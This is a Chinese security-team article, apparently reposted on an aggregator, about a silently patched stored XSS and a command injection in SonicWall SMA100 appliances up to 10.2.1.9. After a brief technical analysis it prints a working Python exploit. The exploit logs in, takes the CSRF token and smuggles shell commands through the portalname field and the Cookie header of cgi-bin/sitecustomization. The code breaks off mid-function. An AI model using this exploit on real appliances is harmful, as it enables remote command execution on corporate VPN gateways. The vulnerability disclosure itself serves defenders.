专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
生信宝典  ·  iMeta | ... ·  昨天  
生物制品圈  ·  喷雾冷冻干燥的设计和工艺考量 ·  3 天前  
生物探索  ·  Nature | ... ·  2 天前  
BioArt  ·  Nat Commun | ... ·  2 天前  
BioArt  ·  Cell | ... ·  3 天前  
51好读  ›  专栏  ›  衡阳信安

SonicWallSMA100将XSS存储到RCE

衡阳信安  · 公众号  ·  · 2024-08-16 05:00

正文

概要

SonicWall SMA100 中存在身份验证前存储的 XSS 和身份验证后的远程命令注入漏洞。这些漏洞允许未经身份验证的攻击者在经过身份验证的用户暴露于存储的 XSS 时执行任意命令。这些漏洞是在没有任何CVE分配的情况下悄无声息地修补的。删除了存在存储 XSS 漏洞的名为经典模式的整个功能,并添加了新的用户输入过滤代码来防止命令注入漏洞。

供应商响应

供应商已经发布了 SonicWall SMA100 10.2.1.10,它完全删除了经典模式,该模式消除了上述漏洞

受影响的版本

SonicWall SMA100版本及10.2.1.9以前的版本

技术分析

存储XSS
cgi-bin\eventlog中存在一个存储的预认证XSS漏洞。当cgi-bin\eventlog从该文件解析日志时,会触发此漏洞。通过运行cgi-bin\eventlog,日志/查看页面显示时间、优先级、类别、源、目标、用户、消息:

它们保存在/var/log/eventlog中,例如:

sh-4.2# cat /var/log/eventlog Dec 25 04:44:54 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:44:54" vp_time="2022-12-25 12:44:54 UTC" fw=192.168.1.1 pri=5 m=0 c=700 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="Log cleared" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"Dec 25 04:44:58 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:44:58" vp_time="2022-12-25 12:44:58 UTC" fw=192.168.1.1 pri=5 m=2 c=2 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="User logged out" active=112 duration=115 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"Dec 25 04:45:01 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:45:01" vp_time="2022-12-25 12:45:01 UTC" fw=192.168.1.1 pri=5 m=1 c=1 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="User login successful" portal="VirtualOffice" domain="LocalDomain" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"

分隔符是\x20,并且不对任何字符进行过滤。通过在登录时将(x20输入到用户名中,我能够做一些有趣的事情。用户输入保存到var/log/evenlog中,而cgi-bin/evenlog则解析并显示给登录用户

在分析cgi-bin/eventlog时,我找到了ACCEPT BY TABLES。



它允许恶意载荷打印在日志视图上。

命令注入

cgi-bin/sitecustomization中存在一个命令注入漏洞,我们可以在 portalname中输入有效载荷。




Exploit

import requestsimport argparsefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)host = "{HOST}"class SonicWall:    def __init__(self, args):        self.headers = {            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"        }        self.s = requests.Session()        self.s.verify = False        self.username = args.username        self.password = args.password        self.rhost = args.rhost        self.root_url = args.host        if not args.host.startswith("http"):            self.root_url = f"https://{args.host}/"        if not self.root_url.endswith("/"):            self.root_url += "/"    def http_get(self, path, params=None, headers={}):        url = self.root_url + path        headers.update(self.headers)        r = requests.Request(method="GET", url=url, params=params, headers=headers)        prep = r.prepare()        prep.url = url        res = self.s.send(prep)        return res    def http_post(self, path, data, headers={}):        url = self.root_url + path        headers.update(self.headers)        r = requests.Request(method="POST", url=url, data=data, headers=headers)        prep = r.prepare()        prep.url = url        res = self.s.send(prep)        return res    def login(self):        data = {




    
            "username": self.username,            "password": self.password,            "domain": "LocalDomain",            "loginButton": "Login",            "state": "login",            "login": "true",            "verifyCert": "0",            "portalname": "VirtualOffice",            "loginToken": "",            "ajax": "true",        }        res = self.http_post("/cgi-bin/userLogin", data=data)        if '"status":"success"' not in res.text:            return False        if "Set-Cookie" not in res.headers:            return False        self.headers["Cookie"] = res.headers["Set-Cookie"]        return True    def get_csrf_token(self):        res = self.http_get("/cgi-bin/users")        if 'var tokenValue = "' not in res.text:            return None        token = res.text.split('var tokenValue = "')[1].split('"')[0]        return token    def command(self, cmd, csrf_token):        portalname = "$($HTTP_COOKIE)"        portalUrl = "/"        vhostName = "vhostName"        data = {            "portalname": portalname,            "portaltitle": "Virtual Office",            "bannertitle": "Virtual Office",            "bannermessage": "",            "portalUrl": portalUrl,            "httpOnlyCookieFlag": "on",            "cachecontrol": "on",            "uniqueness": "on",            "duplicateLoginAction": "1",            "livetilesmalllogo": "",            "livetilemediumlogo": "",            "livetilewidelogo": "",            "livetilelargelogo": "",            "livetilebackground": "#0085C3",            "livetilename": "",            "home2page": "on",            "allowNetExtender": "on",            "virtualpassagepage": "on",            "cifsdirectpage": "on",            "cifspage": "on",            "cifsdefaultfilesharepath": "",            "home3page": "on",            "showAllBookmarksTab": "on",            "showDefaultTabs": "on",            "showCopyright": "on",            "showSidebar": "on",            "showUserPortalHelpButton": "on",            "userPortalHelpURL": "",            "showUserPortalOptionsButton": "on",            "showUserPortalDownloadsButton": "on",            "homemessage": "

Welcome to the SonicWall Virtual Office

SonicWall Virtual Office provides easy and secure remote access to the corporate network from anywhere on the Internet.

Click a pre-defined bookmark or create your own to securely access a corporate network resource.

Launch NetExtender to create a secure network connection to the corporate network for full network access.

"
,
"hptabletitle": "Virtual Office Bookmarks", "vhostName": vhostName, "vhostAlias": "", "vhostHTTPSPort": "", "vhostInterface": "ALL", "vhostCert": "default", "vhostEnableKeepAlive": "on", "cdssodn": "", "enableSSLProxyVerify": "0", "sslProxyProtocol": "0", "loginSchedule": ( "000000000000000000000000000000000000000" "000000000000000000000000000000000000000" "000000000000000000000000000000000000000" "000000000000000000000000000000000000000" "000000000000" ), "formsection": "main", "doAdd": "1", "cgiaction": "1", "themename": "stylesonicwall", "onlinehelp": "", "tmp_currentVhostName": "", "tmp_currentVhostAlias": "", "tmp_currentVhostHTTPSPort": "0", "tmp_currentVhostInterface": "ALL", "tmp_currentVhostIp": "", "tmp_currentVhostIPv6": "", "tmp_currentVhostEnableCertCheck": "0", "tmp_currentVhostEnableHTTP": "0", "tmp_currentVhostEnableKeepAlive": "1", "tmp_currentVhostCert": "", "tmp_currEnforceSSLProxyProtocol": "0", "tmp_currSSLProxyProtocol": "0", "tmp_currEnableSSLProxyVerify": "0", "tmp_currEnableSSLForwardSecrecy": "0", "tmp_currentVhostOffloadRewrite": "", "tmp_currentHSTSFlag": "0", "restartWS": "1", "reuseFavicon": "", "oldReuseFavicon": "", "swcctn": csrf_token, } backup_cookie = self.headers["Cookie"] self.headers["Cookie"] = f"{cmd} ; exit ; " + backup_cookie res = self.http_post("/cgi-bin/sitecustomization", data=data) if ( "Virtual Host Name not set - A Portal with the same virtual host name already exists." in res.text ): print("[-] failed: duplicated name") return False self.headers["Cookie"] = backup_cookie data = {"delete": portalname, "swcctn": csrf_token} res = self.http_post("/cgi-bin/portallist", data=data) if portalname in res.text: print("[-] failed: deleting name") return False return True def run(self): print("[+] login") is_login = self.login() print(f" result: {is_login}") if not






请到「今天看啥」查看全文